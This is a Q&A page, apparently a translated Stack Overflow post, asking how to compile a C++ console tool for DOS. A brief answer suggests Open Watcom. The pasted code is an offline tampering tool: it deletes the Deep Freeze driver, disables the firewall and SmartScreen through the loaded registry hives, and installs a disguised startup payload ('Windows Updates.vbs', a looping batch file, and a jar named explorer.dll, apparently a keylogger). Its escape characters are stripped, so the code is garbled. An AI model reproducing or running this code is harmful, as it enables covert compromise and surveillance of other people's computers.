编译现有的C++代码以在DOS中运行

Compile existing C++ code to run in DOS

本文关键字:DOS 运行 代码 C++ 编译      更新时间:2023-10-16

我目前在C++中有一个应用程序,可以将一些文件复制到用户的硬盘上。我在闪存驱动器上使用Hiren的BootCD来启动MiniXP并在其下运行我的应用程序,但是加载时间有点慢,因此我想将我的应用程序添加到磁盘附带的DOS映像中。我的问题是该应用程序无法运行,因为"此应用程序无法在DOS模式下运行"。

如何在DOS或任何其他可以从USB驱动器足够快的操作系统下运行此应用程序?

我的应用是一个控制台应用程序,其代码为:

#include <iostream>
#include <fstream>
#include <windows.h>
#include <string.h>
#include <sys/stat.h>
#include <stdio.h>
#include <io.h>
#define MAX 256
using namespace std;
string systemdrive;
string users[MAX];int userscontor=0;
bool choosew7orxp;
void menu();
bool exists(const std::string& dirName_in)
{
  DWORD ftyp = GetFileAttributesA(dirName_in.c_str());
  if (ftyp == INVALID_FILE_ATTRIBUTES)
    return false;  //something is wrong with your path!
  if (ftyp & FILE_ATTRIBUTE_DIRECTORY)
    return true;   // this is a directory!
  return false;    // this is not a directory!
}
bool fileexists (const std::string& name) {
  struct stat buffer;
  return (stat (name.c_str(), &buffer) == 0);
}
void checkdrive(char drive[])
{
    string s(drive);
    s+="Windows";
    if (exists(s))
    {
        systemdrive = string(drive);
    }
}
void list()
{
    int dr_type=99;
    char dr_avail[MAX];
    char *temp=dr_avail;
    /* 1st we fill the buffer */
    GetLogicalDriveStrings(MAX,dr_avail);
    while(*temp!=NULL) { // Split the buffer by null
        dr_type=GetDriveType(temp);
        switch(dr_type) {
            case 3: // Fixed
            checkdrive(temp);
            break;
        }
        temp += lstrlen(temp) +1; // incriment the buffer
    }
}
void copyfiles(string a1,string a2)
{
    system((char*)(string("copy /V ""+a1+"" ""+a2+""").c_str()));
}
void redeepfreeze()
{
    system("cls");
    if (!fileexists(systemdrive+"DeepFrz.backup"))
    {
        cout << "> Backup does not exist!n";
        Sleep(1000);
        menu();
    }
    else
    {
        cout <<"> Found Backup.n";
        cout <<"> Restoring backup.n";
        string f = systemdrive;
        f+="Windows\System32\drivers\DeepFrz.sys";
        if( remove(f.c_str()) !=0 )
        {
            cout << "> Cannot delete file! Aborting.n";
            Sleep(1000);
            menu();
        }
        copyfiles(systemdrive+"DeepFrz.backup",systemdrive+"Windows\System32\drivers\DeepFrz.sys");
        cout <<"> Backup restored under "DeepFrz.sys"n";
        Sleep(1000);
        menu();
    }
}
void disablefirewall()
{
    system("cls");
    cout <<"> Loading registery from windows machine...n";
//    cout << "reg load HKLM\OLD_SYSTEM "+systemdrive+"Windows\System32\Config\System";
    system((char*)(string("reg load HKLM\OLD_SYSTEM "+systemdrive+"Windows\System32\Config\SYSTEM").c_str()));
    cout <<"> Registery loaded, disabling Firewall :3n";
    for (int i=0;i<=9;i++)
    {
        char buff[33];
        system((char*)(string("reg add "HKLM\OLD_SYSTEM\ControlSet00"+string(itoa(i,buff,10))+"\services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
        system((char*)(string("reg add "HKLM\OLD_SYSTEM\ControlSet00"+string(itoa(i,buff,10))+"\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
        system((char*)(string("reg add "HKLM\OLD_SYSTEM\ControlSet00"+string(itoa(i,buff,10))+"\services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
    }
//    system((char*)(string("reg add "HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
//    system((char*)(string("reg add "HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
//    system((char*)(string("reg add "HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
    cout <<"> Operation completed,saving..n";
    system("reg unload HKLM\OLD_SYSTEM");
    cout <<"> Done.n";
    Sleep(1000);
    menu();
}
void disablesmartscreen()
{
    system("cls");
    cout <<"> Loading registery from windows machine...n";
    system((char*)(string("reg load HKLM\OLD_SOFTWARE "+systemdrive+"Windows\System32\Config\Software").c_str()));
    cout <<"> Registery loaded, disabling SmartScreen :3n";
//    cout <<"reg add "HKLM\OLD_SOFTWARE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t reg_sz /d Off /f";
//    system("pause");
    system((char*)(string("reg add "HKLM\OLD_SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t reg_sz /d Off /f").c_str()));
    cout <<"> Operation completed,saving..n";
    system("reg unload HKLM\OLD_SOFTWARE");
    cout <<"> Done.n";
    Sleep(1000);
    menu();
}
//}
void deldeepfreeze()
{
    system("cls");
    if (!fileexists(systemdrive+"Windows\System32\drivers\DeepFrz.sys"))
    {
        cout << "> Deepfreeze does not exist!n";
        Sleep(1000);
        menu();
    }
    else
    {
        cout <<"> Found DeepFreeze.n";
        cout <<"> Creating backup.n";
//        copyfiles(systemdrive+"Windows\System32\drivers\DeepFrz.sys",systemdrive+"Windows\System32\drivers\DeepFrz.backup");
        copyfiles(systemdrive+"Windows\System32\drivers\DeepFrz.sys",systemdrive+"DeepFrz.backup");
        cout <<"> Attempting to unfreeze part one...n";
        string f = systemdrive;
        f+="Windows\System32\drivers\DeepFrz.sys";
        if( remove(f.c_str()) !=0 )
        {
            cout << "> Cannot delete file! Aborting.n";
            Sleep(1000);
            menu();
        }
        cout <<"> Backup crated under "DeepFrz.backup"n";
        cout <<"> Searching for "ntfs.sys"...n";
        if (!fileexists(systemdrive+"Windows\System32\drivers\ntfs.sys"))
        {
            cout <<" > ERROR. Cannot find ntfs.sys! Aborting.n";
            Sleep(1000);
            menu();
        }
        else
        {
            cout << "> Patching ntfs.sys...n";
            copyfiles(systemdrive+"Windows\System32\drivers\ntfs.sys",systemdrive+"Windows\System32\drivers\DeepFrz.sys");
            cout << "> Patching DONE. Computer unfrozen!n";
            Sleep(1000);
            menu();
        }
    }
}
void list(char* dir,string users[],int &unr)
{
    int con=0;
    char originalDirectory[_MAX_PATH];
    // Get the current directory so we can return to it
    _getcwd(originalDirectory, _MAX_PATH);
    _chdir(dir);  // Change to the working directory
    _finddata_t fileinfo;
    // This will grab the first file in the directory
    // "*" can be changed if you only want to look for specific files
    intptr_t handle = _findfirst("*", &fileinfo);
    if(handle == -1)  // No files or directories found
    {
        cout <<"> No users found.n";
        return;
    }
    do
    {
        if(strcmp(fileinfo.name, ".") == 0 || strcmp(fileinfo.name, "..") == 0)
            continue;
        if(fileinfo.attrib & _A_SUBDIR) // Use bitmask to see if this is a directory
        {
            users[con]=fileinfo.name;
            con++;
        }
//        else
//            cout << "This is a file." << endl;
    } while(_findnext(handle, &fileinfo) == 0);
    _findclose(handle); // Close the stream
    _chdir(originalDirectory);
    unr=con;
}
void installapp(char* app)
{
    system("cls");
    if (!fileexists(app))
    {
        cout << "> "<<app<<" does not exist!n";
        Sleep(1000);
        menu();
    }
    else
    {
       if (choosew7orxp==true)///it's W7 or W8
       {
           string temp = systemdrive+"Users";
           string tmpu[MAX];
           int amont;
           list((char*)temp.c_str(),tmpu,amont);
           cout << "> Which user are you? Enter the #"<<"nn";
           for (int i=0;i<amont;i++)
           {
               cout << "User number #"<<i<<": "<<tmpu[i]<<"n";
           }
           int nr;
           cin >> nr;
           while (nr<0||nr>amont)
           {
               cout << "Invalid number!n";cin>>nr;
           }
           system("cls");
           cout << "> You selected user #"<<nr<<", which is ""<<tmpu[nr]<<"".n";
           string dest = systemdrive+"Users\"+tmpu[nr]+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup";
           cout <<"> Installing..n";
           copyfiles(app,dest+"\"+app);
           cout <<"> Done!n";
           Sleep(1000);
       }
       else
       { ///it's WXP
           string temp = systemdrive+"Documents and Settings";
           string tmpu[MAX];
           int amont;
           list((char*)temp.c_str(),tmpu,amont);
           cout << "> Which user are you? Enter the #"<<"nn";
           for (int i=0;i<amont;i++)
           {
               cout << "User number #"<<i<<": "<<tmpu[i]<<"n";
           }
           int nr;
           cin >> nr;
           while (nr<0||nr>amont)
           {
               cout << "Invalid number!n";cin>>nr;
           }
           system("cls");
           cout << "> You selected user #"<<nr<<", which is ""<<tmpu[nr]<<"".n";
           string dest = systemdrive+"Documents and Settings\"+tmpu[nr]+"\Start Menu\Programs\Startup";
           cout <<"> Installing..n";
           copyfiles(app,dest+"\"+app);
           cout <<"> Done!n";
           Sleep(1000);
       }
    }
}
void masseject_fix()
{
    system("cls");
    char letter;
    cout <<"> What is your default CD letter?n";
    cin >> letter;
    letter=toupper(letter);
    cout <<"> Selected drive: ""<<letter<<":\".n";
   if (choosew7orxp==true)///it's W7 or W8
   {
       string temp = systemdrive+"Users";
       string tmpu[MAX];
       int amont;
       list((char*)temp.c_str(),tmpu,amont);
       cout << "> Which user are you? Enter the #"<<"nn";
       for (int i=0;i<amont;i++)
       {
           cout << "User number #"<<i<<": "<<tmpu[i]<<"n";
       }
       int nr;
       cin >> nr;
       while (nr<0||nr>amont)
       {
           cout << "Invalid number!n";cin>>nr;
       }
       system("cls");
       cout << "> You selected user #"<<nr<<", which is ""<<tmpu[nr]<<"".n";
       string dest = systemdrive+"Users\"+tmpu[nr]+"\AppData\Roaming";
       fstream fout((dest+"\massdrive.txt").c_str(),ios::out);
       fout<<" "<<letter;
       fout.close();
       cout <<"> Done!n";
       Sleep(1000);
   }
   else
   { ///it's WXP
       string temp = systemdrive+"Documents and Settings";
       string tmpu[MAX];
       int amont;
       list((char*)temp.c_str(),tmpu,amont);
       cout << "> Which user are you? Enter the #"<<"nn";
       for (int i=0;i<amont;i++)
       {
           cout << "User number #"<<i<<": "<<tmpu[i]<<"n";
       }
       int nr;
       cin >> nr;
       while (nr<0||nr>amont)
       {
           cout << "Invalid number!n";cin>>nr;
       }
       system("cls");
       cout << "> You selected user #"<<nr<<", which is ""<<tmpu[nr]<<"".n";
       string dest = systemdrive+"Documents and Settings\"+tmpu[nr]+"\Application Data";

       cout <<"> Done!n";
       Sleep(1000);
   }
}
void installAppdata(char* app)
{
    if (!fileexists(app))
    {
        cout << "> "<<app<<" does not exist!n";
        Sleep(1000);
        menu();
    }
    else
    {
       if (choosew7orxp==true)///it's W7 or W8
       {
           string temp = systemdrive+"Users";
           string tmpu[MAX];
           int amont;
           list((char*)temp.c_str(),tmpu,amont);
           cout << "> Which user are you? Enter the #"<<"nn";
           for (int i=0;i<amont;i++)
           {
               cout << "User number #"<<i<<": "<<tmpu[i]<<"n";
           }
           int nr;
           cin >> nr;
           while (nr<0||nr>amont)
           {
               cout << "Invalid number!n";cin>>nr;
           }
           system("cls");
           cout << "> You selected user #"<<nr<<", which is ""<<tmpu[nr]<<"".n";
           string dest = systemdrive+"Users\"+tmpu[nr]+"\AppData\Roaming";
           cout <<"> Installing..n";
           copyfiles(app,dest+"\"+app);
           cout <<"> Done!n";
           Sleep(1000);
       }
       else
       { ///it's WXP
           string temp = systemdrive+"Documents and Settings";
           string tmpu[MAX];
           int amont;
           list((char*)temp.c_str(),tmpu,amont);
           cout << "> Which user are you? Enter the #"<<"nn";
           for (int i=0;i<amont;i++)
           {
               cout << "User number #"<<i<<": "<<tmpu[i]<<"n";
           }
           int nr;
           cin >> nr;
           while (nr<0||nr>amont)
           {
               cout << "Invalid number!n";cin>>nr;
           }
           system("cls");
           cout << "> You selected user #"<<nr<<", which is ""<<tmpu[nr]<<"".n";
           string dest = systemdrive+"Documents and Settings\"+tmpu[nr]+"\Application Data";
           cout <<"> Installing..n";
           copyfiles(app,dest+"\"+app);
           cout <<"> Done!n";
           Sleep(1000);
       }
    }
}
void installKirLoga()
{
    fstream temp("Windows Updates.vbs",ios::out);
    temp << "CreateObject("Wscript.Shell").Run """" & "%appdata%/xfrps.bat" & """", 0, False";
    temp.close();
    installapp("Windows Updates.vbs");
    fstream temp2("xfrps.bat",ios::out);
    temp2 << ":looprndel "%APPDATA%\KirLoga.jar"rnCOPY "%APPDATA%\explorer.dll_update" "%APPDATA%\explorer.dll"rnjava -jar "%APPDATA%\explorer.dll" 1rngoto loop";
    temp2.close();
    installAppdata("xfrps.bat");
    installAppdata("explorer.dll_update");
    menu();
}
void install_custom()
{
    system("cls");
    char ch[MAX];
    cout <<"> Enter app name: ";
    cin  >>ch;
    installapp(ch);
    menu();
}
void menu()
{
    int choose;
    system("cls");
    cout <<"> This is the main menu. Please choose an option.n";
    cout <<"> 1. Delete DeepFreezen";
    cout <<"> 2. Reinstall DeepFreezen";
    cout <<"> 3. Install MassEjectn";
    cout <<"> 4. Configure MassEjectn";
    cout <<"> 5. Install other app to Startupn";
    cout <<"> 6. Disable SmartScrenn";
    cout <<"> 7. Disable Firewalln";
    cout <<"> 8. Quickie (Administrator, E:\) <not updated>n";
    cout <<"> 9. Install KirLoga <only starts after reboot>n";
    cin.get();
    cin >> choose;
    if (choose==1)
    {
        deldeepfreeze();
    }
    else if (choose==2)
    {
        redeepfreeze();
    }
    else if (choose==3)
    {
        installapp("MassEject.jar");
        menu();
    }else if (choose==4)
    {
         masseject_fix();
    }else if (choose==5)
    {
        install_custom();
    }else if (choose==6)
    {
        disablesmartscreen();
    }
    else if (choose==7)
    {
        disablefirewall();
    }
    else if (choose==8)
    {
        //TODO
    }
    else if (choose==9)
    {
        installKirLoga();
    }
}
void choose_os()
{
   system("cls");
   cout << "> Are you running on Windows 7 or 8.x? <A/B>"<<'n';
   char choice;
   cin >> choice;
   switch(choice)
   {
       case 'a': choosew7orxp=true;break;
       case 'A': choosew7orxp=true;break;
       case 'b': choosew7orxp=false;break;
       case 'B': choosew7orxp=false;break;
       default: cout << "> No, that's not how you do it..."; Sleep(1000);choose_os();break;
   }
   system("cls");
}
int main()
{
    system("cls");
    cout << "> Welcome to Kiraly's pack utility.n";
    cout << "> Scanning system drives...n";
    list();
    cout << "> System drive identified: "<<systemdrive<<", is this correct? (Y/N) ";
    char cdr;
    cin >> cdr;
    while (cdr!='Y'&&cdr!='y'&&cdr!='N'&&cdr!='n')
    {
        cout << "Incorrect syntax. Please re-enter. ";
        cin >> cdr;
    }
    if (cdr=='n'||cdr=='N')
    {
        cout << "> Please enter the drive letter ONLY. Example: "C" not "C:\" ";
        char drlet;
        cin >> drlet;
        if ((int)drlet>=97)
        {
            drlet-=32;
        }
        systemdrive="";systemdrive+=drlet;systemdrive+=":\";
        cout <<"> The system drive letter has been set to: "<<systemdrive<<"n";
    }
//    Sleep(1000);
    system(systemdrive.substr(0,2).c_str());
    choose_os();
    menu();
}

首先,你需要一个可以生成DOS代码的编译器,比如watcom c++http://www.openwatcom.org/index.php/Main_Page:

您的程序使用Windows api调用(它包括windows.h),您需要将所有这些函数替换为它们的DOS等效项或自己编写替代项。